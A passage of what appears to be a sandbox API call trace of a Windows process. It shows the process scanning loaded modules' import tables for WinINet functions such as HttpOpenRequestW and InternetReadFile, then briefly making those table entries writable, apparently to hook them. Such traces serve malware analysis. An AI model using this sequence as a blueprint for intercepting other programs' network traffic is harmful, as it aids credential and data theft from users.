lpString2="WININET.DLL") returned -1 [0082.507] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.507] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.507] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.507] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0082.507] lstrcmpiA (lpString1="DeleteWpadCacheForNetworks", lpString2="InternetQueryDataAvailable") returned -1 [0082.507] lstrcmpiA (lpString1="InternetEnumPerSiteCookieDecisionW", lpString2="InternetQueryDataAvailable") returned -1 [0082.507] lstrcmpiA (lpString1="PrivacySetZonePreferenceW", lpString2="InternetQueryDataAvailable") returned 1 [0082.507] lstrcmpiA (lpString1="PrivacyGetZonePreferenceW", lpString2="InternetQueryDataAvailable") returned 1 [0082.507] lstrcmpiA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetQueryDataAvailable") returned -1 [0082.507] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionW", lpString2="InternetQueryDataAvailable") returned 1 [0082.507] lstrcmpiA (lpString1="IncrementUrlCacheHeaderData", lpString2="InternetQueryDataAvailable") returned -1 [0082.507] lstrcmpiA (lpString1="InternetQueryOptionW", lpString2="InternetQueryDataAvailable") returned 1 [0082.507] lstrcmpiA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetQueryDataAvailable") returned -1 [0082.507] lstrcmpiA (lpString1="FindFirstUrlCacheEntryExW", lpString2="InternetQueryDataAvailable") returned -1 [0082.507] lstrcmpiA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetQueryDataAvailable") returned -1 [0082.507] lstrcmpiA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetQueryDataAvailable") returned -1 [0082.507] lstrcmpiA (lpString1="UpdateUrlCacheContentPath", lpString2="InternetQueryDataAvailable") returned 1 [0082.507] lstrcmpiA (lpString1="FreeUrlCacheSpaceA", lpString2="InternetQueryDataAvailable") returned -1 [0082.507] lstrcmpiA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetQueryDataAvailable") returned -1 [0082.507] lstrcmpiA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetQueryDataAvailable") returned -1 [0082.507] lstrcmpiA (lpString1="SetUrlCacheConfigInfoA", lpString2="InternetQueryDataAvailable") returned 1 [0082.507] lstrcmpiA (lpString1="FindFirstUrlCacheEntryExA", lpString2="InternetQueryDataAvailable") returned -1 [0082.507] lstrcmpiA (lpString1="FindNextUrlCacheEntryExA", lpString2="InternetQueryDataAvailable") returned -1 [0082.507] lstrcmpiA (lpString1="FindCloseUrlCache", lpString2="InternetQueryDataAvailable") returned -1 [0082.507] lstrcmpiA (lpString1="InternetSetOptionW", lpString2="InternetQueryDataAvailable") returned 1 [0082.507] lstrcmpiA (lpString1="CRYPTUI.dll", lpString2="WININET.DLL") returned -1 [0082.507] lstrcmpiA (lpString1="ADVPACK.dll", lpString2="WININET.DLL") returned -1 [0082.507] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0082.507] lstrcmpiA (lpString1="MSHTML.dll", lpString2="WININET.DLL") returned -1 [0082.507] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.507] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="WININET.DLL") returned -1 [0082.507] lstrcmpiA (lpString1="NETAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.507] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="WININET.DLL") returned -1 [0082.507] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.507] lstrcmpiA (lpString1="MSRATING.dll", lpString2="WININET.DLL") returned -1 [0082.507] lstrcmpiA (lpString1="RASDLG.dll", lpString2="WININET.DLL") returned -1 [0082.507] lstrcmpiA (lpString1="RASAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.508] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.508] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.508] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.508] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.508] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.508] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.508] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.508] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.508] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.508] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0082.508] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.508] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.508] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.508] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.508] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0082.508] lstrcmpiA (lpString1="DeleteWpadCacheForNetworks", lpString2="HttpOpenRequestW") returned -1 [0082.508] lstrcmpiA (lpString1="InternetEnumPerSiteCookieDecisionW", lpString2="HttpOpenRequestW") returned 1 [0082.508] lstrcmpiA (lpString1="PrivacySetZonePreferenceW", lpString2="HttpOpenRequestW") returned 1 [0082.508] lstrcmpiA (lpString1="PrivacyGetZonePreferenceW", lpString2="HttpOpenRequestW") returned 1 [0082.508] lstrcmpiA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="HttpOpenRequestW") returned 1 [0082.508] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionW", lpString2="HttpOpenRequestW") returned 1 [0082.508] lstrcmpiA (lpString1="IncrementUrlCacheHeaderData", lpString2="HttpOpenRequestW") returned 1 [0082.508] lstrcmpiA (lpString1="InternetQueryOptionW", lpString2="HttpOpenRequestW") returned 1 [0082.508] lstrcmpiA (lpString1="InternetInitializeAutoProxyDll", lpString2="HttpOpenRequestW") returned 1 [0082.508] lstrcmpiA (lpString1="FindFirstUrlCacheEntryExW", lpString2="HttpOpenRequestW") returned -1 [0082.508] lstrcmpiA (lpString1="DeleteUrlCacheEntryW", lpString2="HttpOpenRequestW") returned -1 [0082.508] lstrcmpiA (lpString1="FindNextUrlCacheEntryW", lpString2="HttpOpenRequestW") returned -1 [0082.508] lstrcmpiA (lpString1="UpdateUrlCacheContentPath", lpString2="HttpOpenRequestW") returned 1 [0082.508] lstrcmpiA (lpString1="FreeUrlCacheSpaceA", lpString2="HttpOpenRequestW") returned -1 [0082.508] lstrcmpiA (lpString1="DeleteUrlCacheEntryA", lpString2="HttpOpenRequestW") returned -1 [0082.508] lstrcmpiA (lpString1="GetUrlCacheConfigInfoA", lpString2="HttpOpenRequestW") returned -1 [0082.508] lstrcmpiA (lpString1="SetUrlCacheConfigInfoA", lpString2="HttpOpenRequestW") returned 1 [0082.508] lstrcmpiA (lpString1="FindFirstUrlCacheEntryExA", lpString2="HttpOpenRequestW") returned -1 [0082.508] lstrcmpiA (lpString1="FindNextUrlCacheEntryExA", lpString2="HttpOpenRequestW") returned -1 [0082.508] lstrcmpiA (lpString1="FindCloseUrlCache", lpString2="HttpOpenRequestW") returned -1 [0082.508] lstrcmpiA (lpString1="InternetSetOptionW", lpString2="HttpOpenRequestW") returned 1 [0082.508] lstrcmpiA (lpString1="CRYPTUI.dll", lpString2="WININET.DLL") returned -1 [0082.508] lstrcmpiA (lpString1="ADVPACK.dll", lpString2="WININET.DLL") returned -1 [0082.508] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0082.509] lstrcmpiA (lpString1="MSHTML.dll", lpString2="WININET.DLL") returned -1 [0082.509] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.509] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="WININET.DLL") returned -1 [0082.509] lstrcmpiA (lpString1="NETAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.509] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="WININET.DLL") returned -1 [0082.509] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.509] lstrcmpiA (lpString1="MSRATING.dll", lpString2="WININET.DLL") returned -1 [0082.509] lstrcmpiA (lpString1="RASDLG.dll", lpString2="WININET.DLL") returned -1 [0082.509] lstrcmpiA (lpString1="RASAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.509] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.509] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.509] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.509] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.509] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.509] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.509] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.509] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.509] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.509] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0082.509] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.509] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.509] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.509] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.509] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0082.509] lstrcmpiA (lpString1="DeleteWpadCacheForNetworks", lpString2="HttpOpenRequestA") returned -1 [0082.509] lstrcmpiA (lpString1="InternetEnumPerSiteCookieDecisionW", lpString2="HttpOpenRequestA") returned 1 [0082.509] lstrcmpiA (lpString1="PrivacySetZonePreferenceW", lpString2="HttpOpenRequestA") returned 1 [0082.509] lstrcmpiA (lpString1="PrivacyGetZonePreferenceW", lpString2="HttpOpenRequestA") returned 1 [0082.509] lstrcmpiA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="HttpOpenRequestA") returned 1 [0082.509] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionW", lpString2="HttpOpenRequestA") returned 1 [0082.509] lstrcmpiA (lpString1="IncrementUrlCacheHeaderData", lpString2="HttpOpenRequestA") returned 1 [0082.509] lstrcmpiA (lpString1="InternetQueryOptionW", lpString2="HttpOpenRequestA") returned 1 [0082.509] lstrcmpiA (lpString1="InternetInitializeAutoProxyDll", lpString2="HttpOpenRequestA") returned 1 [0082.509] lstrcmpiA (lpString1="FindFirstUrlCacheEntryExW", lpString2="HttpOpenRequestA") returned -1 [0082.509] lstrcmpiA (lpString1="DeleteUrlCacheEntryW", lpString2="HttpOpenRequestA") returned -1 [0082.509] lstrcmpiA (lpString1="FindNextUrlCacheEntryW", lpString2="HttpOpenRequestA") returned -1 [0082.509] lstrcmpiA (lpString1="UpdateUrlCacheContentPath", lpString2="HttpOpenRequestA") returned 1 [0082.509] lstrcmpiA (lpString1="FreeUrlCacheSpaceA", lpString2="HttpOpenRequestA") returned -1 [0082.510] lstrcmpiA (lpString1="DeleteUrlCacheEntryA", lpString2="HttpOpenRequestA") returned -1 [0082.510] lstrcmpiA (lpString1="GetUrlCacheConfigInfoA", lpString2="HttpOpenRequestA") returned -1 [0082.510] lstrcmpiA (lpString1="SetUrlCacheConfigInfoA", lpString2="HttpOpenRequestA") returned 1 [0082.510] lstrcmpiA (lpString1="FindFirstUrlCacheEntryExA", lpString2="HttpOpenRequestA") returned -1 [0082.510] lstrcmpiA (lpString1="FindNextUrlCacheEntryExA", lpString2="HttpOpenRequestA") returned -1 [0082.510] lstrcmpiA (lpString1="FindCloseUrlCache", lpString2="HttpOpenRequestA") returned -1 [0082.510] lstrcmpiA (lpString1="InternetSetOptionW", lpString2="HttpOpenRequestA") returned 1 [0082.510] lstrcmpiA (lpString1="CRYPTUI.dll", lpString2="WININET.DLL") returned -1 [0082.510] lstrcmpiA (lpString1="ADVPACK.dll", lpString2="WININET.DLL") returned -1 [0082.510] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0082.510] lstrcmpiA (lpString1="MSHTML.dll", lpString2="WININET.DLL") returned -1 [0082.510] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.510] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="WININET.DLL") returned -1 [0082.510] lstrcmpiA (lpString1="NETAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.510] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="WININET.DLL") returned -1 [0082.510] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.510] lstrcmpiA (lpString1="MSRATING.dll", lpString2="WININET.DLL") returned -1 [0082.510] lstrcmpiA (lpString1="RASDLG.dll", lpString2="WININET.DLL") returned -1 [0082.510] lstrcmpiA (lpString1="RASAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.510] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.510] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.510] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.510] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x73170000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x73170000, AllocationBase=0x73170000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.510] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.510] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.510] lstrcmpiA (lpString1="SspiCli.dll", lpString2="WININET.DLL") returned -1 [0082.510] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="WININET.DLL") returned -1 [0082.510] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0082.510] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.511] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.511] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.511] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.511] lstrcmpiA (lpString1="logoncli.dll", lpString2="WININET.DLL") returned -1 [0082.511] lstrcmpiA (lpString1="netutils.dll", lpString2="WININET.DLL") returned -1 [0082.511] lstrcmpiA (lpString1="MSSIGN32.dll", lpString2="WININET.DLL") returned -1 [0082.511] lstrcmpiA (lpString1="certcli.dll", lpString2="WININET.DLL") returned -1 [0082.511] lstrcmpiA (lpString1="certenroll.dll", lpString2="WININET.DLL") returned -1 [0082.511] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0082.511] lstrcmpiA (lpString1="InternetCanonicalizeUrlW", lpString2="InternetReadFile") returned -1 [0082.511] lstrcmpiA (lpString1="InternetCrackUrlW", lpString2="InternetReadFile") returned -1 [0082.511] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.511] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.511] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x734a0000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x734a0000, AllocationBase=0x734a0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.511] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.511] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.511] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75500000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x75500000, AllocationBase=0x75500000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.511] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.511] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.511] lstrcmpiA (lpString1="DEVRTL.dll", lpString2="WININET.DLL") returned -1 [0082.511] lstrcmpiA (lpString1="drvstore.dll", lpString2="WININET.DLL") returned -1 [0082.511] lstrcmpiA (lpString1="API-MS-Win-Security-SDDL-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.511] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.511] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.511] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.511] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.511] lstrcmpiA (lpString1="Cabinet.dll", lpString2="WININET.DLL") returned -1 [0082.511] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="WININET.DLL") returned -1 [0082.511] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0082.511] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.511] lstrcmpiA (lpString1="SCECLI.dll", lpString2="WININET.DLL") returned -1 [0082.512] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.512] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.512] lstrcmpiA (lpString1="VERSION.dll", lpString2="WININET.DLL") returned -1 [0082.512] lstrcmpiA (lpString1="WINSPOOL.DRV", lpString2="WININET.DLL") returned 1 [0082.512] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0082.512] lstrcmpiA (lpString1="USERENV.dll", lpString2="WININET.DLL") returned -1 [0082.512] lstrcmpiA (lpString1="apphelp.dll", lpString2="WININET.DLL") returned -1 [0082.512] lstrcmpiA (lpString1="SPINF.dll", lpString2="WININET.DLL") returned -1 [0082.512] lstrcmpiA (lpString1="SPFILEQ.dll", lpString2="WININET.DLL") returned -1 [0082.512] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.512] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.512] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74f00000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x74f00000, AllocationBase=0x74f00000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.512] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.512] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.512] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x754a0000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x754a0000, AllocationBase=0x754a0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.512] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.512] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.512] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x73480000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x73480000, AllocationBase=0x73480000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.512] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.512] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.512] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x73460000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x73460000, AllocationBase=0x73460000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.512] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.512] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.512] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x73450000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x73450000, AllocationBase=0x73450000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.512] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.512] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.512] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x73430000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x73430000, AllocationBase=0x73430000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.512] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.513] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.513] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x73420000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x73420000, AllocationBase=0x73420000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.513] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.513] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.513] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x73400000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x73400000, AllocationBase=0x73400000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.513] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.513] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.513] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x72a90000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x72a90000, AllocationBase=0x72a90000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.513] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.513] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.513] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x72a20000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x72a20000, AllocationBase=0x72a20000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.513] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.513] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.513] VirtualProtect (in: lpAddress=0x72a8800c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x4) returned 1 [0082.513] VirtualProtect (in: lpAddress=0x72a8800c, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x40) returned 1 [0082.514] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed40 [0082.514] VirtualProtect (in: lpAddress=0x72a88000, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x4) returned 1 [0082.514] VirtualProtect (in: lpAddress=0x72a88000, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x40) returned 1 [0082.514] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed78 [0082.514] VirtualProtect (in: lpAddress=0x72a88004, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x4) returned 1 [0082.515] VirtualProtect (in: lpAddress=0x72a88004, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x40) returned 1 [0082.515] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274edb0 [0082.515] VirtualProtect (in: lpAddress=0x72a8801c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x4) returned 1 [0082.515] VirtualProtect (in: lpAddress=0x72a8801c, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x40) returned 1 [0082.515] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76af0000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x76af0000, AllocationBase=0x76af0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.515] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.515] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ede8 [0082.515] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x756a0000, lpBuffer=0x37fd74, dwLength=0x1c | out: 